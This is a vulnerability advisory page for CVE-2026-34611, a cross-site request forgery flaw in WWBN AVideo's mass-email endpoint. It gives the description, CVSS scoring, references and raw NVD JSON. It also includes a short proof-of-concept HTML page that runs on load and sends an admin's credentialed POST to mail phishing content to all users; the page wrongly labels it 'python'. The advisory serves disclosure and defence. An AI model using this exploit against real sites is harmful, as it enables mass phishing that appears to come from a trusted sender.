CVE-2026-34611

Description

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo endpoint objects/emailAllUsers.json.php allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets SameSite=None on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin's session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance's legitimate SMTP address. At time of publication, there are no publicly available patches.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE

WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-34611: CSRF to Send Email -->
<!-- Host this on an attacker-controlled server and send the link to an admin -->
<html>
  <body>
    <script>
      function exploit() {
        var target = "https://<TARGET_AVIDEO_DOMAIN>/objects/emailAllUsers.json.php";
        var params = "subject=Urgent%20Update&message=<h1>Phishing%3C/h1%3E%3Cp%3EClick%20here%3C/p%3E";
        
        var xhr = new XMLHttpRequest();
        xhr.open("POST", target, true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        xhr.send(params);
      }
      
      // Auto trigger on load
      window.onload = exploit;
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34611
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34611
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34611/
[4] VulDB https://vuldb.com/cve/CVE-2026-34611
[5] https://github.com/WWBN/AVideo/security/advisories/GHSA-c4xj-x7p8-3x7q
[6] https://github.com/WWBN/AVideo/security/advisories/GHSA-c4xj-x7p8-3x7q

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34611", "sourceIdentifier": "[email protected]", "published": "2026-03-31T21:16:31.297", "lastModified": "2026-04-01T20:33:55.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo endpoint objects/emailAllUsers.json.php allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets SameSite=None on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin's session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance's legitimate SMTP address. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-c4xj-x7p8-3x7q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-c4xj-x7p8-3x7q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}